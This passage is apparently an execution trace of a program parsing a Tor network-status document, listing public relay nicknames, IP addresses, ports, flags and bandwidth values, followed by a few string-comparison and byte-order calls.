HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=", _SubStr="\nr ") returned="\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HS" [0119.871] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.871] memchr (_Buf=0x39411d9, _Val=10, _MaxCount=0x12b) returned 0x3941230 [0119.871] strncmp (_Str1="m rLolLZe4z", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.871] strncmp (_Str1="s Fast HSDi", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.871] strncmp (_Str1="v Tor 0.3.0", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.871] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.871] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.871] htonl (hostlong=0x2e04fdc2) returned 0xc2fd042e [0119.871] htonl (hostlong=0xc2fd042e) returned 0x2e04fdc2 [0119.871] 